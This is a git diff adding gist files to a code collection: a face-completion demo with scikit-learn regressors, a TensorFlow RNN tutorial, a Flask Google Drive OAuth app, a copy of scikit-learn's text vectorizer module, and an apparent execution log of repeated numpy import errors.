+rng = check_random_state(5) +face_ids = rng.randint(test.shape[0], size=(n_faces, )) +test = test[face_ids, :] + +n_pixels = data.shape[1] +X_train = train[:, :int(np.ceil(0.5 * n_pixels) )] # Upper half of the faces +y_train = train[:, int(np.floor(0.5 * n_pixels)):] # Lower half of the faces +X_test = test[:, :int(np.ceil(0.5 * n_pixels) )] +y_test = test[:, int (np.floor(0.5 * n_pixels)): ] + +X_my_face_test = my_flattened_normalized_face[:int(np.ceil(0.5 * n_pixels))] +Y_my_face_test = my_flattened_normalized_face[int(np.floor(0.5 * n_pixels)):] + +# Fit estimators +ESTIMATORS = { + "Extra trees": ExtraTreesRegressor(n_estimators=15, max_features=20, + random_state=3), + "K-nn": KNeighborsRegressor(), +# These classifiers don't seem to work. +# "Linear regression": LinearRegression(), +# "Ridge": RidgeCV(), +} + +y_test_predict = dict() +my_face_y_test_predict = dict() +for name, estimator in ESTIMATORS.items(): + estimator.fit(X_train, y_train) + y_test_predict[name] = estimator.predict(X_test) + my_face_y_test_predict[name] = estimator.predict(X_my_face_test) + +# Plot the completed faces +image_shape = (64, 64) + +n_cols = 1 + len(ESTIMATORS) +plt.figure(figsize=(2. * n_cols, 2.26 * 2.0)) +plt.suptitle("Face completion with multi-output estimators", size=16) + +#Plot my face +my_true_face = np.hstack((X_my_face_test, Y_my_face_test)) + +#Print the top (true) part of my face for all faces) +sub = plt.subplot(1, n_cols, 1, title='Actual Face') + +sub.axis("off") +sub.imshow(my_true_face.reshape(image_shape), cmap=plt.cm.gray, interpolation="nearest") + +#Print the bottom (estimated) part of my face for all faces +for j, est in enumerate(sorted(ESTIMATORS)): + my_completed_face = np.hstack((X_my_face_test, my_face_y_test_predict[est][0])) + sub = plt.subplot(1, n_cols, j + 2, title=est) + + sub.axis("off") + try: + sub.imshow(my_completed_face.reshape(image_shape), cmap=plt.cm.gray, interpolation="nearest") + except ValueError: + continue + +plt.show() diff --git a/hard-gists/0b7e91487dcf10c0b8e8711eb6d73bc5/._snippet.py b/hard-gists/0b7e91487dcf10c0b8e8711eb6d73bc5/._snippet.py new file mode 100644 index 0000000000000000000000000000000000000000..cd8af967d5023a3632b4db5865eb7688c032828f GIT binary patch literal 163 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K + import numpy as np + ImportError: No module named numpy + iteration_4: + - python_module: {} + - error_type: ImportError + - error: | + Traceback (most recent call last): + File "/app/snippet.py", line 2, in + import numpy as np + ImportError: No module named numpy + iteration_5: + - python_module: {} + - error_type: ImportError + - error: | + Traceback (most recent call last): + File "/app/snippet.py", line 2, in + import numpy as np + ImportError: No module named numpy + iteration_6: + - python_module: {} + - error_type: None + - error: | + Traceback (most recent call last): + File "/app/snippet.py", line 2, in + import numpy as np + ImportError: No module named numpy + iteration_7: + - python_module: {} + - error_type: None + - error: | + Traceback (most recent call last): + File "/app/snippet.py", line 2, in + import numpy as np + ImportError: No module named numpy + iteration_8: + - python_module: {} + - error_type: ImportError + - error: | + Traceback (most recent call last): + File "/app/snippet.py", line 2, in + import numpy as np + ImportError: No module named numpy + iteration_9: + - python_module: {} + - error_type: ImportError + - error: | + Traceback (most recent call last): + File "/app/snippet.py", line 2, in + import numpy as np + ImportError: No module named numpy + iteration_10: + - python_module: {} + - error_type: ImportError + - error: | + Traceback (most recent call last): + File "/app/snippet.py", line 2, in + import numpy as np + ImportError: No module named numpy +end_time: 1773786603.712253 +total_time: 356.2759099006653 \ No newline at end of file diff --git a/hard-gists/0b7e91487dcf10c0b8e8711eb6d73bc5/snippet.py b/hard-gists/0b7e91487dcf10c0b8e8711eb6d73bc5/snippet.py new file mode 100644 index 00000000..d34cc9c6 --- /dev/null +++ b/hard-gists/0b7e91487dcf10c0b8e8711eb6d73bc5/snippet.py @@ -0,0 +1,115 @@ +from __future__ import print_function, division +import numpy as np +import tensorflow as tf +import matplotlib.pyplot as plt + +num_epochs = 100 +total_series_length = 50000 +truncated_backprop_length = 15 +state_size = 4 +num_classes = 2 +echo_step = 3 +batch_size = 5 +num_batches = total_series_length//batch_size//truncated_backprop_length + +def generateData(): + x = np.array(np.random.choice(2, total_series_length, p=[0.5, 0.5])) + y = np.roll(x, echo_step) + y[0:echo_step] = 0 + + x = x.reshape((batch_size, -1)) # The first index changing slowest, subseries as rows + y = y.reshape((batch_size, -1)) + + return (x, y) + +batchX_placeholder = tf.placeholder(tf.float32, [batch_size, truncated_backprop_length]) +batchY_placeholder = tf.placeholder(tf.int32, [batch_size, truncated_backprop_length]) + +init_state = tf.placeholder(tf.float32, [batch_size, state_size]) + +W = tf.Variable(np.random.rand(state_size+1, state_size), dtype=tf.float32) +b = tf.Variable(np.zeros((1,state_size)), dtype=tf.float32) + +W2 = tf.Variable(np.random.rand(state_size, num_classes),dtype=tf.float32) +b2 = tf.Variable(np.zeros((1,num_classes)), dtype=tf.float32) + +# Unpack columns +inputs_series = tf.unpack(batchX_placeholder, axis=1) +labels_series = tf.unpack(batchY_placeholder, axis=1) + +# Forward pass +current_state = init_state +states_series = [] +for current_input in inputs_series: + current_input = tf.reshape(current_input, [batch_size, 1]) + input_and_state_concatenated = tf.concat(1, [current_input, current_state]) # Increasing number of columns + + next_state = tf.tanh(tf.matmul(input_and_state_concatenated, W) + b) # Broadcasted addition + states_series.append(next_state) + current_state = next_state + +logits_series = [tf.matmul(state, W2) + b2 for state in states_series] #Broadcasted addition +predictions_series = [tf.nn.softmax(logits) for logits in logits_series] + +losses = [tf.nn.sparse_softmax_cross_entropy_with_logits(logits, labels) for logits, labels in zip(logits_series,labels_series)] +total_loss = tf.reduce_mean(losses) + +train_step = tf.train.AdagradOptimizer(0.3).minimize(total_loss) + +def plot(loss_list, predictions_series, batchX, batchY): + plt.subplot(2, 3, 1) + plt.cla() + plt.plot(loss_list) + + for batch_series_idx in range(5): + one_hot_output_series = np.array(predictions_series)[:, batch_series_idx, :] + single_output_series = np.array([(1 if out[0] < 0.5 else 0) for out in one_hot_output_series]) + + plt.subplot(2, 3, batch_series_idx + 2) + plt.cla() + plt.axis([0, truncated_backprop_length, 0, 2]) + left_offset = range(truncated_backprop_length) + plt.bar(left_offset, batchX[batch_series_idx, :], width=1, color="blue") + plt.bar(left_offset, batchY[batch_series_idx, :] * 0.5, width=1, color="red") + plt.bar(left_offset, single_output_series * 0.3, width=1, color="green") + + plt.draw() + plt.pause(0.0001) + + +with tf.Session() as sess: + sess.run(tf.initialize_all_variables()) + plt.ion() + plt.figure() + plt.show() + loss_list = [] + + for epoch_idx in range(num_epochs): + x,y = generateData() + _current_state = np.zeros((batch_size, state_size)) + + print("New data, epoch", epoch_idx) + + for batch_idx in range(num_batches): + start_idx = batch_idx * truncated_backprop_length + end_idx = start_idx + truncated_backprop_length + + batchX = x[:,start_idx:end_idx] + batchY = y[:,start_idx:end_idx] + + _total_loss, _train_step, _current_state, _predictions_series = sess.run( + [total_loss, train_step, current_state, predictions_series], + feed_dict={ + batchX_placeholder:batchX, + batchY_placeholder:batchY, + init_state:_current_state + }) + + loss_list.append(_total_loss) + + if batch_idx%100 == 0: + print("Step",batch_idx, "Loss", _total_loss) + plot(loss_list, _predictions_series, batchX, batchY) + +plt.ioff() +plt.show() \ No newline at end of file diff --git a/hard-gists/0b92b9ca837a0f5474c732876220db78/._snippet.py b/hard-gists/0b92b9ca837a0f5474c732876220db78/._snippet.py new file mode 100644 index 0000000000000000000000000000000000000000..cd8af967d5023a3632b4db5865eb7688c032828f GIT binary patch literal 163 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K +# @date 30-12-2016 +# Dependency: +# 1. pip install flask google-api-python-client +# 2. make sure you have client_id.json in this same directory. + +import os +import flask +import httplib2 +from apiclient import discovery +from apiclient.http import MediaIoBaseDownload, MediaFileUpload +from oauth2client import client +from oauth2client import tools +from oauth2client.file import Storage + +app = flask.Flask(__name__) + +@app.route('/') +def index(): + credentials = get_credentials() + if credentials == False: + return flask.redirect(flask.url_for('oauth2callback')) + elif credentials.access_token_expired: + return flask.redirect(flask.url_for('oauth2callback')) + else: + print('now calling fetch') + all_files = fetch("'root' in parents and mimeType = 'application/vnd.google-apps.folder'", sort='modifiedTime desc') + s = "" + for file in all_files: + s += "%s, %s
" % (file['name'],file['id']) + return s + +@app.route('/oauth2callback') +def oauth2callback(): + flow = client.flow_from_clientsecrets('client_id.json', + scope='https://www.googleapis.com/auth/drive', + redirect_uri=flask.url_for('oauth2callback', _external=True)) # access drive api using developer credentials + flow.params['include_granted_scopes'] = 'true' + if 'code' not in flask.request.args: + auth_uri = flow.step1_get_authorize_url() + return flask.redirect(auth_uri) + else: + auth_code = flask.request.args.get('code') + credentials = flow.step2_exchange(auth_code) + open('credentials.json','w').write(credentials.to_json()) # write access token to credentials.json locally + return flask.redirect(flask.url_for('index')) + +def get_credentials(): + credential_path = 'credentials.json' + + store = Storage(credential_path) + credentials = store.get() + if not credentials or credentials.invalid: + print("Credentials not found.") + return False + else: + print("Credentials fetched successfully.") + return credentials + +def fetch(query, sort='modifiedTime desc'): + credentials = get_credentials() + http = credentials.authorize(httplib2.Http()) + service = discovery.build('drive', 'v3', http=http) + results = service.files().list( + q=query,orderBy=sort,pageSize=10,fields="nextPageToken, files(id, name)").execute() + items = results.get('files', []) + return items + +def download_file(file_id, output_file): + credentials = get_credentials() + http = credentials.authorize(httplib2.Http()) + service = discovery.build('drive', 'v3', http=http) + #file_id = '0BwwA4oUTeiV1UVNwOHItT0xfa2M' + request = service.files().export_media(fileId=file_id,mimeType='application/vnd.openxmlformats-officedocument.spreadsheetml.sheet') + #request = service.files().get_media(fileId=file_id) + + fh = open(output_file,'wb') #io.BytesIO() + downloader = MediaIoBaseDownload(fh, request) + done = False + while done is False: + status, done = downloader.next_chunk() + #print ("Download %d%%." % int(status.progress() * 100)) + fh.close() + #return fh + +def update_file(file_id, local_file): + credentials = get_credentials() + http = credentials.authorize(httplib2.Http()) + service = discovery.build('drive', 'v3', http=http) + # First retrieve the file from the API. + file = service.files().get(fileId=file_id).execute() + # File's new content. + media_body = MediaFileUpload(local_file, resumable=True) + # Send the request to the API. + updated_file = service.files().update( + fileId=file_id, + #body=file, + #newRevision=True, + media_body=media_body).execute() + +if __name__ == '__main__': + if os.path.exists('client_id.json') == False: + print('Client secrets file (client_id.json) not found in the app path.') + exit() + import uuid + app.secret_key = str(uuid.uuid4()) + app.run(debug=True) \ No newline at end of file diff --git a/hard-gists/0b942dd86f01efe996b8977b158c37a6/._snippet.py b/hard-gists/0b942dd86f01efe996b8977b158c37a6/._snippet.py new file mode 100644 index 0000000000000000000000000000000000000000..cd8af967d5023a3632b4db5865eb7688c032828f GIT binary patch literal 163 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K +# Mathieu Blondel +# Lars Buitinck +# Robert Layton +# Jochen Wersdörfer +# Roman Sinayev +# +# License: BSD 3 clause +""" +The :mod:`sklearn.feature_extraction.text` submodule gathers utilities to +build feature vectors from text documents. +""" +from __future__ import unicode_literals + +import array +from collections import Mapping, defaultdict +import numbers +from operator import itemgetter +import re +import unicodedata + +import numpy as np +import scipy.sparse as sp + +from ..base import BaseEstimator, TransformerMixin +from ..externals.six.moves import xrange +from ..preprocessing import normalize +from .hashing import FeatureHasher +from .stop_words import ENGLISH_STOP_WORDS +from ..utils import deprecated +from ..externals import six + + +__all__ = ['CountVectorizer', + 'ENGLISH_STOP_WORDS', + 'TfidfTransformer', + 'TfidfVectorizer', + 'strip_accents_ascii', + 'strip_accents_unicode', + 'strip_tags'] + + +def strip_accents_unicode(s): + """Transform accentuated unicode symbols into their simple counterpart + + Warning: the python-level loop and join operations make this + implementation 20 times slower than the strip_accents_ascii basic + normalization. + + See also + -------- + strip_accents_ascii + Remove accentuated char for any unicode symbol that has a direct + ASCII equivalent. + """ + return ''.join([c for c in unicodedata.normalize('NFKD', s) + if not unicodedata.combining(c)]) + + +def strip_accents_ascii(s): + """Transform accentuated unicode symbols into ascii or nothing + + Warning: this solution is only suited for languages that have a direct + transliteration to ASCII symbols. + + See also + -------- + strip_accents_unicode + Remove accentuated char for any unicode symbol. + """ + nkfd_form = unicodedata.normalize('NFKD', s) + return nkfd_form.encode('ASCII', 'ignore').decode('ASCII') + + +def strip_tags(s): + """Basic regexp based HTML / XML tag stripper function + + For serious HTML/XML preprocessing you should rather use an external + library such as lxml or BeautifulSoup. + """ + return re.compile(r"<([^>]+)>", flags=re.UNICODE).sub(" ", s) + + +def _check_stop_list(stop): + if stop == "english": + return ENGLISH_STOP_WORDS + elif isinstance(stop, six.string_types): + raise ValueError("not a built-in stop list: %s" % stop) + else: # assume it's a collection + return stop + + +class VectorizerMixin(object): + """Provides common code for text vectorizers (tokenization logic).""" + + _white_spaces = re.compile(r"\s\s+") + + def decode(self, doc): + """Decode the input into a string of unicode symbols + + The decoding strategy depends on the vectorizer parameters. + """ + if self.input == 'filename': + with open(doc, 'rb') as fh: + doc = fh.read() + + elif self.input == 'file': + doc = doc.read() + + if isinstance(doc, bytes): + doc = doc.decode(self.encoding, self.decode_error) + + if doc is np.nan: + raise ValueError("np.nan is an invalid document, expected byte or " + "unicode string.") + + return doc + + def _word_ngrams(self, tokens, stop_words=None): + """Turn tokens into a sequence of n-grams after stop words filtering""" + # handle stop words + if stop_words is not None: + tokens = [w for w in tokens if w not in stop_words] + + # handle token n-grams + min_n, max_n = self.ngram_range + if max_n != 1: + original_tokens = tokens + tokens = [] + n_original_tokens = len(original_tokens) + for n in xrange(min_n, + min(max_n + 1, n_original_tokens + 1)): + for i in xrange(n_original_tokens - n + 1): + tokens.append(" ".join(original_tokens[i: i + n])) + + return tokens + + def _char_ngrams(self, text_document): + """Tokenize text_document into a sequence of character n-grams""" + # normalize white spaces + text_document = self._white_spaces.sub(" ", text_document) + + text_len = len(text_document) + ngrams = [] + min_n, max_n = self.ngram_range + for n in xrange(min_n, min(max_n + 1, text_len + 1)): + for i in xrange(text_len - n + 1): + ngrams.append(text_document[i: i + n]) + return ngrams + + def _char_wb_ngrams(self, text_document): + """Whitespace sensitive char-n-gram tokenization. + + Tokenize text_document into a sequence of character n-grams + excluding any whitespace (operating only inside word boundaries)""" + # normalize white spaces + text_document = self._white_spaces.sub(" ", text_document) + + min_n, max_n = self.ngram_range + ngrams = [] + for w in text_document.split(): + w = ' ' + w + ' ' + w_len = len(w) + for n in xrange(min_n, max_n + 1): + offset = 0 + ngrams.append(w[offset:offset + n]) + while offset + n < w_len: + offset += 1 + ngrams.append(w[offset:offset + n]) + if offset == 0: # count a short word (w_len < n) only once + break + return ngrams + + def build_preprocessor(self): + """Return a function to preprocess the text before tokenization""" + if self.preprocessor is not None: + return self.preprocessor + + # unfortunately python functools package does not have an efficient + # `compose` function that would have allowed us to chain a dynamic + # number of functions. However the cost of a lambda call is a few + # hundreds of nanoseconds which is negligible when compared to the + # cost of tokenizing a string of 1000 chars for instance. + noop = lambda x: x + + # accent stripping + if not self.strip_accents: + strip_accents = noop + elif callable(self.strip_accents): + strip_accents = self.strip_accents + elif self.strip_accents == 'ascii': + strip_accents = strip_accents_ascii + elif self.strip_accents == 'unicode': + strip_accents = strip_accents_unicode + else: + raise ValueError('Invalid value for "strip_accents": %s' % + self.strip_accents) + + if self.lowercase: + return lambda x: strip_accents(x.lower()) + else: + return strip_accents + + def build_tokenizer(self): + """Return a function that splits a string into a sequence of tokens""" + if self.tokenizer is not None: + return self.tokenizer + token_pattern = re.compile(self.token_pattern) + return lambda doc: token_pattern.findall(doc) + + def get_stop_words(self): + """Build or fetch the effective stop words list""" + return _check_stop_list(self.stop_words) + + def build_analyzer(self): + """Return a callable that handles preprocessing and tokenization""" + if callable(self.analyzer): + return self.analyzer + + preprocess = self.build_preprocessor() + + if self.analyzer == 'char': + return lambda doc: self._char_ngrams(preprocess(self.decode(doc))) + + elif self.analyzer == 'char_wb': + return lambda doc: self._char_wb_ngrams( + preprocess(self.decode(doc))) + + elif self.analyzer == 'word': + stop_words = self.get_stop_words() + tokenize = self.build_tokenizer() + + return lambda doc: self._word_ngrams( + tokenize(preprocess(self.decode(doc))), stop_words) + + else: + raise ValueError('%s is not a valid tokenization scheme/analyzer' % + self.analyzer) + + def _check_vocabulary(self): + vocabulary = self.vocabulary + if vocabulary is not None: + if not isinstance(vocabulary, Mapping): + vocab = {} + for i, t in enumerate(vocabulary): + if vocab.setdefault(t, i) != i: + msg = "Duplicate term in vocabulary: %r" % t + raise ValueError(msg) + vocabulary = vocab + else: + indices = set(six.itervalues(vocabulary)) + if len(indices) != len(vocabulary): + raise ValueError("Vocabulary contains repeated indices.") + for i in xrange(len(vocabulary)): + if i not in indices: + msg = ("Vocabulary of size %d doesn't contain index " + "%d." % (len(vocabulary), i)) + raise ValueError(msg) + if not vocabulary: + raise ValueError("empty vocabulary passed to fit") + self.fixed_vocabulary_ = True + self.vocabulary_ = dict(vocabulary) + else: + self.fixed_vocabulary_ = False + + @property + @deprecated("The `fixed_vocabulary` attribute is deprecated and will be " + "removed in 0.18. Please use `fixed_vocabulary_` instead.") + def fixed_vocabulary(self): + return self.fixed_vocabulary_ + + +class HashingVectorizer(BaseEstimator, VectorizerMixin): + """Convert a collection of text documents to a matrix of token occurrences + + It turns a collection of text documents into a scipy.sparse matrix holding + token occurrence counts (or binary occurrence information), possibly + normalized as token frequencies if norm='l1' or projected on the euclidean + unit sphere if norm='l2'. + + This text vectorizer implementation uses the hashing trick to find the + token string name to feature integer index mapping. + + This strategy has several advantages: + + - it is very low memory scalable to large datasets as there is no need to + store a vocabulary dictionary in memory + + - it is fast to pickle and un-pickle as it holds no state besides the + constructor parameters + + - it can be used in a streaming (partial fit) or parallel pipeline as there + is no state computed during fit. + + There are also a couple of cons (vs using a CountVectorizer with an + in-memory vocabulary): + + - there is no way to compute the inverse transform (from feature indices to + string feature names) which can be a problem when trying to introspect + which features are most important to a model. + + - there can be collisions: distinct tokens can be mapped to the same + feature index. However in practice this is rarely an issue if n_features + is large enough (e.g. 2 ** 18 for text classification problems). + + - no IDF weighting as this would render the transformer stateful. + + The hash function employed is the signed 32-bit version of Murmurhash3. + + Parameters + ---------- + + input: string {'filename', 'file', 'content'} + If 'filename', the sequence passed as an argument to fit is + expected to be a list of filenames that need reading to fetch + the raw content to analyze. + + If 'file', the sequence items must have a 'read' method (file-like + object) that is called to fetch the bytes in memory. + + Otherwise the input is expected to be the sequence strings or + bytes items are expected to be analyzed directly. + + encoding : string, 'utf-8' by default. + If bytes or files are given to analyze, this encoding is used to + decode. + + decode_error : {'strict', 'ignore', 'replace'} + Instruction on what to do if a byte sequence is given to analyze that + contains characters not of the given `encoding`. By default, it is + 'strict', meaning that a UnicodeDecodeError will be raised. Other + values are 'ignore' and 'replace'. + + strip_accents: {'ascii', 'unicode', None} + Remove accents during the preprocessing step. + 'ascii' is a fast method that only works on characters that have + an direct ASCII mapping. + 'unicode' is a slightly slower method that works on any characters. + None (default) does nothing. + + analyzer: string, {'word', 'char', 'char_wb'} or callable + Whether the feature should be made of word or character n-grams. + Option 'char_wb' creates character n-grams only from text inside + word boundaries. + + If a callable is passed it is used to extract the sequence of features + out of the raw, unprocessed input. + + preprocessor: callable or None (default) + Override the preprocessing (string transformation) stage while + preserving the tokenizing and n-grams generation steps. + + tokenizer: callable or None (default) + Override the string tokenization step while preserving the + preprocessing and n-grams generation steps. + + ngram_range: tuple (min_n, max_n) + The lower and upper boundary of the range of n-values for different + n-grams to be extracted. All values of n such that min_n <= n <= max_n + will be used. + + stop_words: string {'english'}, list, or None (default) + If 'english', a built-in stop word list for English is used. + + If a list, that list is assumed to contain stop words, all of which + will be removed from the resulting tokens. + + lowercase: boolean, default True + Convert all characters to lowercase before tokenizing. + + token_pattern: string + Regular expression denoting what constitutes a "token", only used + if `analyzer == 'word'`. The default regexp selects tokens of 2 + or more alphanumeric characters (punctuation is completely ignored + and always treated as a token separator). + + n_features : integer, optional, (2 ** 20) by default + The number of features (columns) in the output matrices. Small numbers + of features are likely to cause hash collisions, but large numbers + will cause larger coefficient dimensions in linear learners. + + norm : 'l1', 'l2' or None, optional + Norm used to normalize term vectors. None for no normalization. + + binary: boolean, False by default. + If True, all non zero counts are set to 1. This is useful for discrete + probabilistic models that model binary events rather than integer + counts. + + dtype: type, optional + Type of the matrix returned by fit_transform() or transform(). + + non_negative : boolean, optional + Whether output matrices should contain non-negative values only; + effectively calls abs on the matrix prior to returning it. + When True, output values can be interpreted as frequencies. + When False, output values will have expected value zero. + + See also + -------- + CountVectorizer, TfidfVectorizer + + """ + + def __init__(self, input='content', encoding='utf-8', + decode_error='strict', strip_accents=None, + lowercase=True, preprocessor=None, tokenizer=None, + stop_words=None, token_pattern=r"(?u)\b\w\w+\b", + ngram_range=(1, 1), analyzer='word', n_features=(2 ** 20), + binary=False, norm='l2', non_negative=False, + dtype=np.float64): + self.input = input + self.encoding = encoding + self.decode_error = decode_error + self.strip_accents = strip_accents + self.preprocessor = preprocessor + self.tokenizer = tokenizer + self.analyzer = analyzer + self.lowercase = lowercase + self.token_pattern = token_pattern + self.stop_words = stop_words + self.n_features = n_features + self.ngram_range = ngram_range + self.binary = binary + self.norm = norm + self.non_negative = non_negative + self.dtype = dtype + + def partial_fit(self, X, y=None): + """Does nothing: this transformer is stateless. + + This method is just there to mark the fact that this transformer + can work in a streaming setup. + + """ + return self + + def fit(self, X, y=None): + """Does nothing: this transformer is stateless.""" + # triggers a parameter validation + self._get_hasher().fit(X, y=y) + return self + + def transform(self, X, y=None): + """Transform a sequence of documents to a document-term matrix. + + Parameters + ---------- + X : iterable over raw text documents, length = n_samples + Samples. Each sample must be a text document (either bytes or + unicode strings, file name or file object depending on the + constructor argument) which will be tokenized and hashed. + + y : (ignored) + + Returns + ------- + X : scipy.sparse matrix, shape = (n_samples, self.n_features) + Document-term matrix. + + """ + analyzer = self.build_analyzer() + X = self._get_hasher().transform(analyzer(doc) for doc in X) + if self.binary: + X.data.fill(1) + if self.norm is not None: + X = normalize(X, norm=self.norm, copy=False) + return X + + # Alias transform to fit_transform for convenience + fit_transform = transform + + def _get_hasher(self): + return FeatureHasher(n_features=self.n_features, + input_type='string', dtype=self.dtype, + non_negative=self.non_negative) + + +def _add_sparse_column(sparse,column): + import itertools + addition = sp.lil_matrix(sparse.shape) + sparse_coo = sparse.tocoo() + for i,j,v in itertools.izip(sparse_coo.row, sparse_coo.col, sparse_coo.data): + addition[i,j] = v + column[i,0] + return addition.tocsr() + +def _class_frequencies(X, y): + """Count the number of non-zero values for each class y in sparse X.""" + + labels = np.unique(y) + if len(labels) > 2: + raise ValueError("Delta works only with binary classification problems") + + # Indices for each type of labels in y + N1 = np.where(y == labels[0])[0] + N2 = np.where(y == labels[1])[0] + + # Number of positive documents that each term appears on + df1 = np.bincount(X[N1].nonzero()[1], minlength=X.shape[1]) + # Number of negative documents that each term appears on + df2 = np.bincount(X[N2].nonzero()[1], minlength=X.shape[1]) + + return N1.shape[0], df1, N2.shape[0], df2 + + +def _document_frequency(X): + """Count the number of non-zero values for each feature in sparse X.""" + if sp.isspmatrix_csr(X): + return np.bincount(X.indices, minlength=X.shape[1]) + else: + return np.diff(sp.csc_matrix(X, copy=False).indptr) + + +class CountVectorizer(BaseEstimator, VectorizerMixin): + """Convert a collection of text documents to a matrix of token counts + + This implementation produces a sparse representation of the counts using + scipy.sparse.coo_matrix. + + If you do not provide an a-priori dictionary and you do not use an analyzer + that does some kind of feature selection then the number of features will + be equal to the vocabulary size found by analyzing the data. + + Parameters + ---------- + input : string {'filename', 'file', 'content'} + If 'filename', the sequence passed as an argument to fit is + expected to be a list of filenames that need reading to fetch + the raw content to analyze. + + If 'file', the sequence items must have a 'read' method (file-like + object) that is called to fetch the bytes in memory. + + Otherwise the input is expected to be the sequence strings or + bytes items are expected to be analyzed directly. + + encoding : string, 'utf-8' by default. + If bytes or files are given to analyze, this encoding is used to + decode. + + decode_error : {'strict', 'ignore', 'replace'} + Instruction on what to do if a byte sequence is given to analyze that + contains characters not of the given `encoding`. By default, it is + 'strict', meaning that a UnicodeDecodeError will be raised. Other + values are 'ignore' and 'replace'. + + strip_accents : {'ascii', 'unicode', None} + Remove accents during the preprocessing step. + 'ascii' is a fast method that only works on characters that have + an direct ASCII mapping. + 'unicode' is a slightly slower method that works on any characters. + None (default) does nothing. + + analyzer : string, {'word', 'char', 'char_wb'} or callable + Whether the feature should be made of word or character n-grams. + Option 'char_wb' creates character n-grams only from text inside + word boundaries. + + If a callable is passed it is used to extract the sequence of features + out of the raw, unprocessed input. + + preprocessor : callable or None (default) + Override the preprocessing (string transformation) stage while + preserving the tokenizing and n-grams generation steps. + + tokenizer : callable or None (default) + Override the string tokenization step while preserving the + preprocessing and n-grams generation steps. + + ngram_range : tuple (min_n, max_n) + The lower and upper boundary of the range of n-values for different + n-grams to be extracted. All values of n such that min_n <= n <= max_n + will be used. + + stop_words : string {'english'}, list, or None (default) + If 'english', a built-in stop word list for English is used. + + If a list, that list is assumed to contain stop words, all of which + will be removed from the resulting tokens. + + If None, no stop words will be used. max_df can be set to a value + in the range [0.7, 1.0) to automatically detect and filter stop + words based on intra corpus document frequency of terms. + + lowercase : boolean, True by default + Convert all characters to lowercase before tokenizing. + + token_pattern : string + Regular expression denoting what constitutes a "token", only used + if `tokenize == 'word'`. The default regexp select tokens of 2 + or more alphanumeric characters (punctuation is completely ignored + and always treated as a token separator). + + max_df : float in range [0.0, 1.0] or int, optional, 1.0 by default + When building the vocabulary ignore terms that have a document + frequency strictly higher than the given threshold (corpus-specific + stop words). + If float, the parameter represents a proportion of documents, integer + absolute counts. + This parameter is ignored if vocabulary is not None. + + min_df : float in range [0.0, 1.0] or int, optional, 1 by default + When building the vocabulary ignore terms that have a document + frequency strictly lower than the given threshold. This value is also + called cut-off in the literature. + If float, the parameter represents a proportion of documents, integer + absolute counts. + This parameter is ignored if vocabulary is not None. + + max_features : optional, None by default + If not None, build a vocabulary that only consider the top + max_features ordered by term frequency across the corpus. + + This parameter is ignored if vocabulary is not None. + + vocabulary : Mapping or iterable, optional + Either a Mapping (e.g., a dict) where keys are terms and values are + indices in the feature matrix, or an iterable over terms. If not + given, a vocabulary is determined from the input documents. Indices + in the mapping should not be repeated and should not have any gap + between 0 and the largest index. + + binary : boolean, False by default. + If True, all non zero counts are set to 1. This is useful for discrete + probabilistic models that model binary events rather than integer + counts. + + dtype : type, optional + Type of the matrix returned by fit_transform() or transform(). + + Attributes + ---------- + vocabulary_ : dict + A mapping of terms to feature indices. + + stop_words_ : set + Terms that were ignored because + they occurred in either too many + (`max_df`) or in too few (`min_df`) documents. + This is only available if no vocabulary was given. + + See also + -------- + HashingVectorizer, TfidfVectorizer + """ + + def __init__(self, input='content', encoding='utf-8', + decode_error='strict', strip_accents=None, + lowercase=True, preprocessor=None, tokenizer=None, + stop_words=None, token_pattern=r"(?u)\b\w\w+\b", + ngram_range=(1, 1), analyzer='word', + max_df=1.0, min_df=1, max_features=None, + vocabulary=None, binary=False, dtype=np.int64): + self.input = input + self.encoding = encoding + self.decode_error = decode_error + self.strip_accents = strip_accents + self.preprocessor = preprocessor + self.tokenizer = tokenizer + self.analyzer = analyzer + self.lowercase = lowercase + self.token_pattern = token_pattern + self.stop_words = stop_words + self.max_df = max_df + self.min_df = min_df + if max_df < 0 or min_df < 0: + raise ValueError("negative value for max_df of min_df") + self.max_features = max_features + if max_features is not None: + if (not isinstance(max_features, numbers.Integral) or + max_features <= 0): + raise ValueError( + "max_features=%r, neither a positive integer nor None" + % max_features) + self.ngram_range = ngram_range + self.vocabulary = vocabulary + self.binary = binary + self.dtype = dtype + + def _sort_features(self, X, vocabulary): + """Sort features by name + + Returns a reordered matrix and modifies the vocabulary in place + """ + sorted_features = sorted(six.iteritems(vocabulary)) + map_index = np.empty(len(sorted_features), dtype=np.int32) + for new_val, (term, old_val) in enumerate(sorted_features): + map_index[new_val] = old_val + vocabulary[term] = new_val + return X[:, map_index] + + def _limit_features(self, X, vocabulary, high=None, low=None, + limit=None): + """Remove too rare or too common features. + + Prune features that are non zero in more samples than high or less + documents than low, modifying the vocabulary, and restricting it to + at most the limit most frequent. + + This does not prune samples with zero features. + """ + if high is None and low is None and limit is None: + return X, set() + + # Calculate a mask based on document frequencies + dfs = _document_frequency(X) + tfs = np.asarray(X.sum(axis=0)).ravel() + mask = np.ones(len(dfs), dtype=bool) + if high is not None: + mask &= dfs <= high + if low is not None: + mask &= dfs >= low + if limit is not None and mask.sum() > limit: + mask_inds = (-tfs[mask]).argsort()[:limit] + new_mask = np.zeros(len(dfs), dtype=bool) + new_mask[np.where(mask)[0][mask_inds]] = True + mask = new_mask + + new_indices = np.cumsum(mask) - 1 # maps old indices to new + removed_terms = set() + for term, old_index in list(six.iteritems(vocabulary)): + if mask[old_index]: + vocabulary[term] = new_indices[old_index] + else: + del vocabulary[term] + removed_terms.add(term) + kept_indices = np.where(mask)[0] + if len(kept_indices) == 0: + raise ValueError("After pruning, no terms remain. Try a lower" + " min_df or a higher max_df.") + return X[:, kept_indices], removed_terms + + def _count_vocab(self, raw_documents, fixed_vocab): + """Create sparse feature matrix, and vocabulary where fixed_vocab=False + """ + if fixed_vocab: + vocabulary = self.vocabulary_ + else: + # Add a new value when a new vocabulary item is seen + vocabulary = defaultdict() + vocabulary.default_factory = vocabulary.__len__ + + analyze = self.build_analyzer() + j_indices = _make_int_array() + indptr = _make_int_array() + 